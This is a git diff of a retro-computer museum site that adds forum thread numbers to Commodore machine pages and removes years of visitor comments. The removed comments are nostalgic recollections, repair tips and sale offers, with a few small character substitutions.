+++ b/content/museum/commodore-pet-30xx.md @@ -58,6 +58,7 @@ params: - emulators - links - docs + forum_thread: 116 photos: - title: ADDON KEYBOARD subtitle: '' @@ -150,20 +151,6 @@ params:  compiled/archived by www.commodore.ca\  type of document : PDF\  source : [www.commodore.ca](http://www.commodore.ca) - comments: - - author: Régis Schmidt (CNRS Meudon, France) - date: Sunday 12th October 2014 - text: |- - This is the first computer I worked with. It was my first job, and this CBM 3016 were extended to 32Ko RAM like the CBM3032 model.\ - I did many interface boards for this model and many programs in 6502 assembler too. - - author: Yves McDonald (the North, Quebec, Canada) - date: Monday 8th May 2006 - text: |- - Well, at least you know the video circuits are working. Looks like the CPU isn't resetting right and isn't executing its code in ROM and fails to clear its video RAM. I had same problem with old Apple 2. It's probably just some corrosion build up on chip leads or sockets. Cleaning up the contacts with a soft pencil eraser and/or reseating the chips will be enough to restart your vintage computer.\ - Hope that helps. - - author: A Hodson (England) - date: Friday 6th February 2004 - text: When I switch my PET on the screen is full of rubbish. It used to work fine sometimes but not now. Can it be fixed? related: - /museum/commodore-cbm-500-600-series - /museum/commodore-cbm-700-series diff --git a/content/museum/commodore-pet-cbm-40xx.md b/content/museum/commodore-pet-cbm-40xx.md index 67acc082..fc15e31f 100644 --- a/content/museum/commodore-pet-cbm-40xx.md +++ b/content/museum/commodore-pet-cbm-40xx.md @@ -60,6 +60,7 @@ params: - emulators - links - docs + forum_thread: 117 photos: - title: PET-4016 subtitle: '' @@ -183,44 +184,6 @@ params:  compiled/archived by www.commodore.ca\  type of document : PDF\  source : [www.commodore.ca](http://www.commodore.ca) - comments: - - author: bacon man (USA) - date: Wednesday 12th August 2020 - text: to browse this website - - author: Loren (Spain) - date: Saturday 2nd February 2019 - text: 'Hi! I created a DIY 3D Printing project to build your own fully working Commodore PET Mini, just like this one! Take a look at it here: https://commodorepetmini.com' - - author: zozo (france) - date: Thursday 30th October 2014 - text: I found one on the side of the road one day it worked why throw such a computer ? ... I threw my turn lol a moment of madness I think! - - author: Craig Carr (USA) - date: Monday 18th January 2010 - text: Sometime between 1979 and 1981 I remember going to the library in our High School and a group of us would check out the cassette tapes required to load programs onto the PET. We also created several of our own games which we had to store on cassette tape. I think I still have one of those tapes around. The funnest game we made was a spaceship game that was better than asteroids. I was also taking fortran as a class on a Burroughs mainframe using Punch cards at the time. - - author: Matt - date: Monday 13rd April 2009 - text: We had a 4032 as our first home computer. My dad took us all on a 200 mile round trip to fetch it. It cost about a months salary for him. We ended up with a printer as well as I remember. It was eventually replaced with a Commodore 64 as soon as that was released. - - author: Skel (Oakville, Ontario, Canada) - date: Saturday 31st May 2008 - text: 'I remember back around 1991 or so (when I was still in high school) in Bedford, Nova Scotia, Canada, our school''s only computer classroom had this model of PET computer sitting around.. lots of them in fact. The retired PETS rested under our desks where we''d kick them with our feet while we worked on Apple IIgs''s above. All the PETS had sticky notes on their video monitors saying "I work" or "I''m broke". The only time we ever saw one of them ON TOP of the desk was the very first class when our computer teacher of the time, Mr. Lindsay, gave us a lecture on all the parts of a computer and how they work, why he used the PET for that lecture and not the Apple''s I never figured out. In 2000 I took a tour of the school, and it now has several classrooms of computers sporting the latest model of PC. If only we knew how important the PET was to the microcomputer world we might have shown them some respect by not kicking them so hard... (BTW: None of the PETs ever broke from the - kicks...)' - - author: Neil Loughran (UK) - date: Wednesday 19th July 2006 - text: First computer I ever saw in 1981 or so... this was pure sex back then... hard to believe I know... ;-)Later, I remember converting Nightmare Park (classic PET game written in BASIC) from this to the Commodore 64 and it worked perfectly.. I think the POKES and PEEKS for the drawing of positions of characters were the only changes... never really knew why Commodore seemed to change all the memory maps on all their models.. would have made software a lot more portable. I felt so clever about the conversion (in 1982/83 or so)... until I got the &\*\*^ kicked out of me for being a such a damn smartass.... ;-) Btw, the version of Space Invaders for the PET was awesome I remember.... pure machine code too... - - author: Charles Steadman (New Zealand) - date: Thursday 27th October 2005 - text: Still have a few of these... correction for the front page the screen wasn't "upgradeable" to 80 columns -- the 8032 was in many ways a completely different beastie. And wouldn't play most of the games, so who'd want one? :-) - - author: j4ck (us) - date: Wednesday 30th March 2005 - text: one of these was the first computer i ever touched... i remember hours of fighting to keep my place in line to play A.F.O. or Moon Patrol or Space Invaders - - author: Gert-Jan Vons (The Netherlands) - date: Friday 31st January 2003 - text: |- - These CBM 40XXs where the computers we had in highschool (Utrecht, the Netherlands, around 1982-1983), the first ones I used that didn't require cards to program them. At the time, we had them networked with something we called "hydra" which was fun, and looking back, quite advanced too.\ - It not only allowed us to access the master system's floppy drive from any other station on the network, but we could actually view what was happening on the screen of another system in real time (!) or just completely mess them up :-)\ - Even today, I still remember the SYS 40960 and SYS 40963 commands we used to activate the network... - - author: Julian (Sydney, Australia) - date: Monday 19th August 2002 - text: A PET 4016 was my first computer, bought second hand when I was 13 years old (about 1983). It was fantastic. My grandfather built a sound module for it from a magazine article, it connected to the 'user port' at the back. We also had an aftermarket ROM chip called an 'Arrow' chip which added useful extra commands to the BASIC interpreter. When installing it, a leg broke off -- so we just soldered it back on! The other thing I remember about this computer is that the OS was from a small Palo Alto based company called Micro Soft. Anyone know what happened to them? related: - /museum/commodore-cbm-500-600-series - /museum/commodore-cbm-700-series diff --git a/content/museum/commodore-plus-4-c232-264-364.md b/content/museum/commodore-plus-4-c232-264-364.md index 59e79109..cb477d99 100644 --- a/content/museum/commodore-plus-4-c232-264-364.md +++ b/content/museum/commodore-plus-4-c232-264-364.md @@ -61,6 +61,7 @@ params: - emulators - links - videos + forum_thread: 204 photos: - title: PLUS4 BOX subtitle: '' @@ -176,70 +177,6 @@ params: - title: Commodore Plus 4 commercial url: https://www.youtube.com/watch?v=RX4HB4td65Y text: 'Length: 1 min' - comments: - - author: James (Ireland) - date: Monday 20th April 2020 - text: The C116 from what I can tell over here it was suppose to compete with cheap computers like the Sinclair ZX Spectrum and in America the TIMEX SINCLAIR 1000 - - author: David from Hungary - date: Thursday 1st August 2019 - text: |- - My dad found one of these on the top of a trash bin. It was meant to be found by someone who could put it to good use. He took it and gave it to me. It sat on the top of my cupboard for a decade. After watching videos of people like The 8-Bit Guy, I decided to refurbish it.\ - I cleaned it, added heatsinks, and so on. I managed to track down a 1531 datasette and a 1551 disk drive, both of which I refurbished myself. It was only the beginning of my Commodore refurbish mania :D - - author: Michael Samer (Germany) - date: Sunday 18th June 2017 - text: |- - It was my second computer (bought in 1985 for about 540USD with 1702 CRT and 1541 floppy) after a self soldered Z80 clone. From the usability surely limited but it contained every software I wanted/needed in ROM. The spreadsheet was low compared to the competitors, but enough for me to do my stuff. Word editing was very simple (more like a simple editor) but great (compared to my Z80) and I learned how to use the printer ESCape sequences. I''d even use the colour plotter printer (Casio afair) I bought for my Z80 years before. I even wrote a fantasy book on it (1987) with about 400pages.\ - It was very hard to get the data''s I wrote converted from Floppy to PCs afterwards and a lot is still trapped on bad floppies. - - author: Lukasz (Poland) - date: Monday 14th November 2016 - text: Oh boy, that was my first computer. Failure for Commodore - maybe - but not for me it wasn''t. Thanks to relative lack of games it allowed me to start programming, hacking and cracking (thanks to the built in asm/debug tool). I have a lot of great memories. And there were games, too. I remember playing Mercenary, which was a proper 3d FPP game, with cool wireframe graphics. - - author: zozo (france) - date: Thursday 30th October 2014 - text: I bought a used one for a hundred francs ( 15 euros) in 1989 2 years after my brother destroyed it. I was sick I would have killed him for that lol - - author: whitushade (United States) - date: Thursday 12th July 2012 - text: I got one of these for Christmas in 1984 along with a 1541 disk drive, a 1702 monitor and an MPS-803 Printer and some C64 games. I was seriously bummed when the games wouldn''t work. My folks bought it because the store was out of C64s and he said that this would fill the bill. It didn''t. It was just as limited as the description states. I did like the default color scheme (blue border, white background, black cursor) better than that of the C64 (pale blue boarder and cursor with a light blue background), however. - - author: Colton (Kentucky, USA) - date: Saturday 21st April 2012 - text: I found one of these in the trash today...took it home...hooked it up and it worked...never seen this old of a computer in person...its pretty awesome. - - author: Lyubomir (Bulgaria) - date: Monday 20th June 2011 - text: Sweet memories! I bought this computer together with cassette device 1988 from Germany. It was very nice ... I even got some magazines with software. Later I also got floppy 1541... You may not believe, but I still have them!!! - - author: Leszek (Poland) - date: Tuesday 2nd November 2010 - text: This was my first computer. I was to young to remember now when I got this but it shaped my future. I got only one game for it (text only RPG) but I did not manage to pass the first page :-). It had an assembler compiler. I wrote a program to scroll the screen to the left or right (this was extremely slow). I also experimented with basic and wrote a program to jump with the horse in each field of teh chess board only once. It took I think many minutes to find a solution (maybe over an hour) but it did find many :-) I did start my programming carier with this :-) but I think it was the worst computer I could get, useless for games. I moved to PCs few years later. - - author: Leszek (Poland) - date: Tuesday 2nd November 2010 - text: This was my first computer. I was to young to remember now when I got this but it shaped my future. I got only one game for it (text only RPG) but I did not manage to pass the first page :-). It had an assembler compiler. I wrote a program to scroll the screen to the left or right (this was extremely slow). I also experimented with basic and wrote a program to jump with the horse in each field of teh chess board only once. It took I think many minutes to find a solution (maybe over an hour) but it did find many :-) I did start my programming carier with this :-) but I think it was the worst computer I could get, useless for games. I moved to PCs few years later. - - author: Joe (USA) - date: Monday 3rd May 2010 - text: |- - The first time I saw one of these was at a store called Service Merchandise, now out of business, along with the C16. My understanding about this machine was that it was developed shortly before Jack Tramiel and his sons were ousted from Commodore. Tramiel had a specific plan for marketing the C16 and Plus 4 but was given the boot before he could pull it off. The management at Commodore had no idea what his intentions were for the two new machines so they marketed them the same way as the C64 which was a big mistake as they were never intended to compete in that market. Tramiel intended to sell them at higher margins than the C64 to business users. All the fancy graphic and sound capabilities of the C64 weren''t seen as necessary for business, which was why they were omitted. - - I must give the Plus 4 it''s due. The included Basic was extremely powerful compared to other 8-bit Basics of the day (the BBC Micro sold in the UK had the only 8-bit Basic that I have seen that was more powerful) and the memory space available to programmers on the Plus 4 was unprecedented in a 64k machine. Nearly 60k was available for programs. The real downfall of the machine, though, was software. The majority of programs were written for the C16, which was seen as the mass market machine, so not much was available that took full advantage of the Plus 4''s additional memory. Incompatibility with C64 peripherals was also a big issue. - - I''ve found the C16/Plus 4 family models to be more popular in the UK than the US. You can still find the black cassette and floppy drives made for the Plus 4 sometimes and there''s usually software on ebay UK every day of the week. You don''t see much on ebay US for these machines at all, ever. - - author: kevin (USA ) - date: Wednesday 28th April 2010 - text: I Remember going into K-mart and seeing this for the first time then playing with it and I have to tell you that I thought it was so awesome and having built in programs to , man!! I was in heaven. Only having a Vic-20 at the time this system was mind blowing , I never got one,but I sure did dream about it , funny I now have two of them .....lol ... - - author: Anna (Serbia) - date: Thursday 20th March 2008 - text: Plus/4 is the computer I grew up with. My parents ordered it from Germany somewhere around 1987, and I believe it costed little over $100 (came with two joysticks and a tape). It was nothing spectacular compared to some other systems of the time, but it did have nifty BASIC and some fun games. Mostly a computer people bought for their small kids. - - author: Damian Walker (Hull, UK) - date: Saturday 12th January 2008 - text: I had one of these in the mid/late 1980s, when they were recognised as a commercial failure and were being sold for relatively cheap (£80 if I remember rightly). I absolutely loved mine. As a Spectrum fan who liked to program in BASIC, I wouldn't have touched a C64 at the time, but this machine with the same memory and a decent BASIC language (as well as a machine code monitor/assembler), was very different. I only wish I had room for one now! - - author: Duncan Woodward (Preston UK) - date: Wednesday 23rd February 2005 - text: I am a bit of a retro collector and I am looking for a power adaptor for a Commodore +4. Does anyone know where I can still get hold of this sort of equipment - - author: Plus4Vampyre (Germany) - date: Monday 30th August 2004 - text: Hi Dave, I am very interested in any informations about the IFR Flight Simulator and Rug Ride. Do you still have these two games? - - author: Dave K ( ) - date: Thursday 5th August 2004 - text: The Plus-4 was my first home computer. Purchased at Sears with the Diskette Drive and Printer as a bundle. It worked great. Served well as a word processor for letters (no graphics) as a spreadsheet for checkbook and (gasp) taxes, and even the database for addresses. I enjoyed games like Jack Attack, Zork, Rug Rider and a IFR Flight Simulator (no visuals, only text clues) and a fine 2 person fighter pilot game. It served as home office and video game machine - plugged into a portable color TV as a monitor. Sadly the membrane keyboard faded, lost a few critical key contacts and was retired. But we loved it. As a geek/packrat, I recently found it in a box. Aug. 2004 Some years later, the company I worked at purchased one of the vacuum systems Commodore had used in production from a broker and used it to good effect. - - author: Barry Beaubien (da yooper) - date: Thursday 20th February 2003 - text: I just picked up a Plus 4 at Saint Vinnies in its origional box with all the manuals. After a few minutes spent on hooking it up to the \[gasp\] TV it fired right up. Not to bad for $2.10, eh! related: - /museum/commodore-c116 - /museum/commodore-c16 diff --git a/content/museum/commodore-superpet.md b/content/museum/commodore-superpet.md index 0dacf32c..e4d72c2e 100644 --- a/content/museum/commodore-superpet.md +++ b/content/museum/commodore-superpet.md @@ -60,6 +60,7 @@ params: - emulators - links - docs + forum_thread: 659 photos: - title: SYSTEM OPENED subtitle: '' diff --git a/content/museum/commodore-sx-dx-64-executive-computer.md b/content/museum/commodore-sx-dx-64-executive-computer.md index feffa466..541e5edd 100644 --- a/content/museum/commodore-sx-dx-64-executive-computer.md +++ b/content/museum/commodore-sx-dx-64-executive-computer.md @@ -70,6 +70,7 @@ params: - links - docs - videos + forum_thread: 518 photos: - title: 'SX-64 #1' subtitle: '' @@ -401,91 +402,6 @@ params: - title: C64 assembly line pictures! url: https://www.youtube.com/watch?v=6vzfJLVS2YI text: 'Length: 6 min 56 s' - comments: - - author: AB PP (USA) - date: Tuesday 28th November 2017 - text: I want one. I am willing to pay up to $100 for it. Let me know! - - author: Silent-Hunter (USA) - date: Friday 10th October 2014 - text: I have one of these, it is very nice! The only issue is a timing problem with the cartridge port, preventing me from using the MicroSD card reader I bought for it. - - author: Shorrdan - date: Saturday 17th December 2011 - text: It is in perfect condition. There are no bugs no errors and has all of it''s parts. No scratches no dents perfect condition. - - author: Shorrdan (california) - date: Saturday 17th December 2011 - text: I am willing to sell my commodore 64 for $1000 minimum price max price is $2000 - - author: M Phinney - date: Sunday 28th August 2011 - text: |- - I have one of these for Sale, everything seems to work, can supply pictures and info, also have other old computers as well. Sx-64 $1000 plus actual shipping\ - Paypal only\ - mac@maltam.com - - author: Mike (Kingwood, TX) - date: Saturday 23rd April 2011 - text: I have one of these for sale but I don''t know if I trust shipping it, not to mention the shipping cost but if anyone in the Houston area wants one... http://houston.craigslist.org/sys/2341598316.html - - author: Joshq - date: Wednesday 20th April 2011 - text: I''d buy one of those! - - author: commodore 64 - date: Thursday 9th September 2010 - text: yeah, i wouldn''t mind having one if i can get one at a decent price with everything working. back then, it was the holy grail of everything c64. - - author: Mr. Commodore (Atari Land) - date: Saturday 14th February 2009 - text: |- - I''m scared to the Z80 of 2 things:\ - Computer Viruses and spiders\ - Emulators realy make me chew my fingernails, I had to buy my own copy of windows for my computer and I do NOT want to have to wipe the windows partition of my Mac... That would be $200 and 4 months of mowing lawns, shoveling leaves and blowing snow down the so very unforgiving drain. :(\ - Back to the point can any of you fellow computer nerds help me find an emulator that I KNOW I can trust? I need it to be small because I have the "You are running out of disk space, click on this message to have windows $ the presious non-replaceable files you collected over a period of 1 year" message popping up whenever I start Windows. All sugestions are welcome, Thanks! (sorry i ramble sometimes) - - author: FATAL EROR! (england county durham) - date: Tuesday 3rd October 2006 - text: do they have a battery if so what is the battery life like on them? if not can you rig one up for it? - - author: Dave (USA) - date: Friday 11th August 2006 - text: |- - (Sigh!) I was lucky enough to own an SX-64 back when the Commodore 64 was still very popular. With a bit of skill, the SX-64 could be nicely modified into a dream machine that caught everyone's attention at computer user group meetings. - - First, I remember that there was a commercial hardware product called the SX-Flash, which was a truely transparant speed-up mod that worked with all games, plus added some nice fast dos commands (fast load cartridges were good, but they didn't work with some copy protected games). - - Second, there were some great home-grown modifications that could be done, with nice places to hide the switches. We added a drive number selector switch so that the built in drive could be device 8 or 9, complete with an LED number display mounted flush right next to the drive in the area between the drive and monitor. - - We also added a write-protect always on/off toggle switch for the drive and mounted a flush red/green LED in the same area. (This was specifically for one guy in the user's group who had a bad habit of not keeping the source & destination drives straight and copying his blanks onto others' software disks.) - - I was software librarian and finally found an SFD Dual Drive. This was one of the best drives ever made for the C-64 family and it made the SX-64 the perfect portable disk duplicator for club meetings. - - author: eror (?) - date: Thursday 27th July 2006 - text: im after one - - author: Jae (US) - date: Thursday 7th April 2005 - text: I have a sx 64 from a friend that works, but didn't come with a keyboard cable. A straight db25 female cable will work, you just have to get the cable to fit in the recess. The pins are not actually narrower, it just looks that way. - - author: Søren Peo Pedersen (Greve, Denmark) - date: Wednesday 15th December 2004 - text: |- - My first computer was an SX-64 as shown on the exhibit page. Rare as they go, mine was even rigged by the danish branch of Commodore to have danish letters (Æ/æ, Ø/ø and Å/å) on both keyboard and on screen. - - Here are a few tips about it: - - The floppy drive on the executive will work on pretty much any 5.25" floppies that you can get hold of. For info on using the machine and it's built-in Basic and OS, search the Net for info on the Commodore 64. There's both the user manual and the in-depth "Programmer's Reference Guide" - read these as if you had a "regular" Commodore 64 rigged up with a 1541 floppy disk drive and a monitor. The only things that don't apply to the Executive, is the use of the "Datasette" and casette tape storage. - - Beware of expansions that go into the "User Port" at the rear of this machine. In at least the SX, one side of the 9 V AC available at the user port is connected to the DC ground, whereas in the Commodore 64, the same 9 V AC supply is electrically "floating" relative to the DC.\ - So things like e.g. RS232 interfaces, designed for the user port on a Commodore 64, might fry either itself or the (supposedly compatible) machine if plugged into an Executive 64... - - About the keyboard cable: Allthough the connectors in the keyboard and on the main unit may look like standard DB25 females, they are not - at least the spacing between the two rows of pins are narrower than standard.\ - In case you consider replacing the connectors with standard DB-25's and soldering your own keyboard cable: I'm not perfectly sure about it, but as far as I recall from hunting down a "flaky" connection in my cable, most (if not all) of the wires go straght through, from pin #n on the keyboard, to the same pin #n at the main unit (numbering just as if they were DB-25's). - - author: Steve (England) - date: Tuesday 2nd November 2004 - text: Hi, I have an dm sx64, does anybody know anything about these. I cant find anything about it on the net and it's the only one i have ever come across on ebay, is this an increadibly rare machine?????? - - author: titanshea (Tennessee) - date: Tuesday 21st September 2004 - text: I am looking for a keyboard cable for my sx-64 - - author: dale (uk) - date: Sunday 8th February 2004 - text: i have an sx 64 with the keyboard cable but no keyboard can any one help????? i have had it for years and ut works perfectly on cartridge games. - - author: Simon (Milan, Italy) - date: Thursday 9th January 2003 - text: |- - Hi Team,\ - i'm looking for the current used price for this wonderful C64/EX ! any idea ?\ - Simon related: - /museum/commodore-c128-c128d - /museum/commodore-c64 diff --git a/content/museum/commodore-tv-game-2000k.md b/content/museum/commodore-tv-game-2000k.md index d9de3d93..2b97df9b 100644 --- a/content/museum/commodore-tv-game-2000k.md +++ b/content/museum/commodore-tv-game-2000k.md @@ -9,6 +9,7 @@ params: company_name: Commodore tabs: - photos + forum_thread: 660 photos: - title: SYSTEM AND ITS 4 PADDLES subtitle: '' @@ -33,53 +34,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/commodore_tvgame2000k-box.jpg - comments: - - author: Fleur Coleiro (Malta) - date: Sunday 22nd January 2023 - text: I have a Commodore TV game 2000K. Do you know what it is worth, please? - - author: Kevin Marriott (Nottingham England) - date: Tuesday 7th April 2020 - text: I have a Commodore tv game 3000H with 3 extrnal paddles. It works OK giving a blue background with white bats but there is a lot of "shadowing" on my flat screen TV. I have considered trying to convert it to AV with a similar back porch mod that I did for my ZX81. I bought it from GEM (pre ASDA) in their sale, with no gun but that would be useless now anyway. Happy memories of more simpler times :-) - - author: Anonymous Coward - date: Saturday 24th March 2012 - text: MOS Technology, not Mostek. - - author: philip - date: Monday 23rd January 2012 - text: |- - hi\ - I have a commodore tv game 3000h for sale make me an offer - - author: philip - date: Monday 23rd January 2012 - text: |- - hi\ - I have a commodore tv game 3000h for sale make me an offer - - author: philip - date: Monday 23rd January 2012 - text: |- - hi\ - I have a commodore tv game 3000h for sale make me an offer - - author: Darren (UK) - date: Thursday 7th July 2011 - text: Hi, I stilll have a working 3000H system, that has a repair ticket attached from 1979, and recently found the origional instruction manual, all in mint condition - - author: Liam Greene (UK) - date: Saturday 24th April 2010 - text: |- - Hi, - - There is one on sale from the UK on eBay right now, from 25/04/10 to about 04/05/10. - - And its not pong..... its absolutely wicked...... I played it for ages :) lol - - Type this number into the eBay search box to have a look :- - - 290428465925 - - Liam. - - author: Nick Rijke (United Kingdom) - date: Monday 8th September 2003 - text: |- - I owned a Commodore TV Game 2000K from 1977 to 2003. Then to my dismay "someone" in the family threw it out thinking it junk.\ - I desperately seek a replacement to teach my nephews how to play. I still have the extra paddles! HELP!! oc_id: 676 source: url: https://web.archive.org/web/20230614011100/http://www.old-computers.com/museum/computer.asp?c=676 diff --git a/content/museum/commodore-vic-1001.md b/content/museum/commodore-vic-1001.md index 79c45a73..7acf9914 100644 --- a/content/museum/commodore-vic-1001.md +++ b/content/museum/commodore-vic-1001.md @@ -64,6 +64,7 @@ params: - emulators - links - videos + forum_thread: 1256 photos: - title: COMMODORE VIC-1001 subtitle: '' diff --git a/content/museum/commodore-vic-20.md b/content/museum/commodore-vic-20.md index 8fb082c8..8281ba9f 100644 --- a/content/museum/commodore-vic-20.md +++ b/content/museum/commodore-vic-20.md @@ -70,6 +70,7 @@ params: - links - docs - videos + forum_thread: 262 photos: - title: EVOLUTION OF THE VIC 20 CASE. subtitle: '' @@ -292,229 +293,6 @@ params: - title: Commodore Vic 20 commercial - William Shatner url: https://www.youtube.com/watch?v=PUEI7mm8M7Q text: 'Length: 28 s' - comments: - - author: Paul (UK) - date: Monday 28th March 2011 - text: My parents went out to buy a computer for my 3 bothers and I, I was hoping for a ZX Spectrum or even a C64, imagine my disappointment when this appeared in front of the TV, 2 years of early mornings and paper rounds later I did save up for the 48K Spectrum, I’ve never truly forgiven them and always ask my kids exactly what they want. - - author: JohnnyJ (Sweden) - date: Friday 11th June 2010 - text: 'Hey, I had hoped that "lodger" from Germany would have posted the explanation to why the VIC20 was renamed to VC20 when released in Germany. It''''s quite funny linguistically when you think of it: Commodore didn''''t want to launch it using the name VIC because in German, "V" and "F" sounds very much alike, so the name would have sounded like the German word "fick" (Google the translation all)... $-)' - - author: leon (birmingham uk) - date: Monday 15th May 2006 - text: i had a fit when myparents bought me a vic 20 instead of a 48k speccy... but then i grew to love it. usedtolove the tape based mags with little games and demos on. crazy cavey too and i had a 16k expansion so i could play submarine commander. pity i went and bashed it so hard when i was playing scramble. i got so far but you had only one life... the poor vic went haywire and i eventually got the speccy i wanted about 6 months later. - - author: Ian Maddock (Stoke on Trent (UK)) - date: Friday 7th November 2003 - text: |- - 1st comp i ever owned was a VIC20. sadly all my mates opted for C64's & Speccies but i preferred the VIC for some reason. I had a vic for about 4 years before deciding to buy a ZXspectrum 48. I even remember the 1st program I ever did from the vic manual.\ - 10 PRINT "HELLO! ";\ - 20 GOTO 10\ - Ready.\ - RUN - - The comp finally died a death in the late 80's & i did manage to get my hands on another VIC but it only lasted about a month. I then got a CPC464. I think 90% of Vic owners all made a game of their own that they were proud of & countless others used to spend hours typing in 400 line programs from computer mags such as "Commodore user" or early editions of C+VG mag which also often incurred leaving the thing on for a week solid. - - If only the Playstation owners & kids of today had to wait 45 minutes for each game to load up from a tape or even sit for weeks typing the code in from a book they may just appreciate the thing. Best games of the day Jetpac, Rockman, Crazy Cavey & some of the other Mastertronic games which i got from the shops at school lunchtime for £1.99.... Whatever happened to Petrol stations & newsagents selling cheap games - - Now I use PC everyday & even did some work for Dell & Sun microsystems as a result.. thanks VIC & thansk commodore.. best £150 my parents ever spent on me. I even have managed to get some authentic VIC20 fonts for MS word. doesn't look the same though unless you have it on font size 48 to get the full effect of 22 characters per line. - - author: Leonard Simonson jr (United States) - date: Saturday 4th July 2020 - text: When I was a kid I didn''t have a computer. My friend had a VIC-20 and I loved to go to his house to use it. I had a passion for programming. - - author: Desi Villaescusa (Oregon / USA) - date: Friday 14th February 2020 - text: Vic-20 was my first computer as well. There was no way we could afford a computer (except maybe a ZX81 kit) back then, but not long after the C64 came out, the Vic20 prices $ped and when my parents went out to get me one, the price had $ped again and I got the Vic20 AND a tape drive. Loved that computer. Gave me my start, and yes, I am in IT now. William Shatner was right! $-) - - author: DANIEL J MURPHY (United States) - date: Monday 28th October 2019 - text: Ah this was my first computer. My parents bought it for me. Couldn''t afford the datasette on which to save programs, so I''d have to write my programs down in a notebook and re-enter them every time I powered up the machine. Couldn''t afford any games, either, but I wrote plenty of my own$ remembering a lot of peek() and poke() statements... I eventually graduated to the C64, which had SOO much memory! - - author: johnH - date: Thursday 18th June 2015 - text: |- - I have one and I have been programming it. Its pretty awesome but you lose all your stuff when you shut it off.\ - It''s manual came with this first program:\ - 1 PRINT "VIC"$\ - 2 GOTO1 - - author: jeffpas (Springfield, USA) - date: Wednesday 21st January 2015 - text: |- - Will never forget the smell of that brand new VIC20 wrapped in plastic, unpacking and setting it up.... hooking it up to the TV.... very first computer I ever owned as a kid. It was exciting and cool. - - Many people have posted disappointment in not getting a better computer, say for Xmas. There was no disappointment.... no stigma I can remember. As there always kind of was with the Atari 2600, since we all went to the quarter arcades and could clearly see the chumpy gaming. But nobody had a computer at all at home I knew, there was nothing to compare it to.\ - Sure there were Apples.... but who could afford one and you''d only rarely see one at a school. Plus they were boring and colorless mostly as far as I saw. - - The VIC20 took you right in... it responded, made colors and sounds, you could write little programs and see them run...save them on tape for later.... even carefully type in laborous lines of code out of magazines and then let them spin to see what they do. It was just fun. Of course eventually everyone wanted a C64 and a disc drive....and yeah I finally got one too. And then eventually you dreamed of the 128, lol. But with the lower costs for Commodore stuff it was a realistic goal for most people. - - You could get tons of free software too. Man what a piracy racket with the C64... all of the codebreakers were proud of their work and had their own intros ha. - - author: Daneel (Italy) - date: Wednesday 23rd April 2014 - text: |- - In 1984 I bought a VIC 20 for 180.000 italian lire, about 93 euro, and a commodore cassette recorder for vic 20 for about 80.000 italian lire, about 40 euro.\ - Was my first computer and I''ve spend a lot of time with it, learnig programming with basic. I really enjoyed myself with that computer, a long time ago :-) - - author: MegaHertz (Germany) - date: Friday 21st February 2014 - text: The name VC-20 here in Germany was sold as abbreviation for Volks-Computer $ Computer for everyone. During the introduction of it, you could win a real VolksWagen Beetle Cabrio sponsored by Commodore. - - author: Brian scarratt (England) - date: Friday 25th October 2013 - text: Hi ihave just bought a vic 20 and would like to know if the commodore 64 cassette player will work with the vic 20 best wishes Brian - - author: Brian scarratt (England) - date: Friday 25th October 2013 - text: Hi ihave just bought a vic 20 and would like to know if the commodore 64 cassette player will work with the vic 20 best wishes Brian - - author: Massimo PORZIO (Italia) - date: Monday 15th July 2013 - text: |- - My God, how many time has passed since me and a good friend of mine went to the rail-station to get our two VC20 ordered a month before by the postal service.\ - We were from the first who owned them here in Italy.\ - The rail station employee before give us the packages want to see the inner of the boxes because he said it was impossible that a computer was there inside!\ - And when Commodore marketed it six month later, I still remember the wonder of the seller when we asked to buy the cassette tape only. Indeed we built and used our own cassette interface till that day (we were 15 and have not so much money to buy it before).\ - My own was marked VC20 and despite was built in Germany had the flat top keyboard with the katakana glyphs instead of the right graphical character.\ - I would be back those times! - - author: Kenneth R Wylie Jr. (Colorado / U.S.A.) - date: Thursday 11th July 2013 - text: I remember opening the family Christmas gift in Germany in 1981 and finding this awesome computer, the VIC 20! We were the only family to afford it$ my dad was a low rank in the U.S. Army and my mom was working two jobs! I still have this computer in my closest, including the tape deck and many games. I even have the original box still with duck tape holding it together though all the traveling. Thank you, commodore, for giving me a wonderful childhood and requiring me to have an imagination to play many of the games. For those of you who do not know, there was no animation back in those days. The biggest deal was being able to type in COLOR! HAHAHA! Oh how times have changed. - - author: 0$0 (Canada) - date: Wednesday 18th January 2012 - text: I ate one of these computers when i was a toddler. - - author: Paul (Paisley UK) - date: Thursday 15th December 2011 - text: The VIC was my first computer and I truly loved it. My friends mainly had spectrum''s or C64''s but those of us that had other systems probably learned more about actual computing rather than just playing games, partly cos there where less available. - - author: Nick - date: Sunday 30th October 2011 - text: |- - I just found a Vic 20 at my local recycle depot! with introduction manuals and games. No leads though, where do I get them from? - - Im a sinclair kid at heart but couldnt bear to see a vintage computer going to the bin, it looked so sad. - - author: lodger (Germany) - date: Saturday 20th August 2011 - text: |- - @JohnnyJ: just found out about it a few years ago. In fact, the other option for Commodore would have been to call it "Vixen", a name they wanted to use in the US before deciding on the VIC name. But given the fact that a "v" and "w" are often pronounced similar in german, it would have sounded like "wixen" (again, you are free to Google the translation). - - Another thing: my "old" VC-20 served me as a backup system during the 1988 christmas season, when my C64 was broken and I had sent it in for repair. So a friend of my brother lend me his 16K RAM expansion and a tape with a few 16K games on it. It was only then, that I could appreciate the real strength and features of the VC-20. I remember playing a game similar to pacman, where you had to navigate a mouse through a maze and aviod cats hunting you. - - A collegue of mine as the full-blown setup on his attic, including that cool metal frame you could put the computer into and that offered five cartridge slots that would work together in parallel. - - author: mudguts - date: Wednesday 3rd August 2011 - text: To the people whining that they didn''t get the computer they wanted when they were ten, grow up, you sound like you were right spoilt little todgers. - - author: Paulette - date: Saturday 30th April 2011 - text: |- - And would you buy a gun for your kids if they wanted? And if you didn''t, would they grow up to get one on their own and come back to ''forgive you''?\ - Sounds to me like your parents did the right thing and made you better for it. - - author: Richard (Colorado, US) - date: Monday 6th April 2009 - text: I remember that in 1982 I had saved up $100 to buy a computer. I was comparing the Timex Sinclair 1000 with the Vic-20. My dad asked me to make a choice and I chose the VIC-20. I spent hours typing in programs from magazines, programming in basic, and even programming it in assembly. I still have that computer and I even have it connected. Over the past 10 years I have been collecting some of my favorite computers from that era. My current collection consists of the VIC-20, a C64, a C128, a C128D, a Plus4, an Atari 800 (original), and an Apple IIe platinum. - - author: lodger (Germany) - date: Thursday 11th October 2007 - text: Here in germany, it wasn't until the mid-1980s when homecomputers became popular among people. So it was not until december 1984 that my parents bought a VC-20. Although the VC-20 was sort of becoming "outdated" at that time and I had to wait another four(!) years until I got a more powerful C64, I enjoyed hours and hours with it (I even took it with me, when we went on holiday). It was the VC-20 that 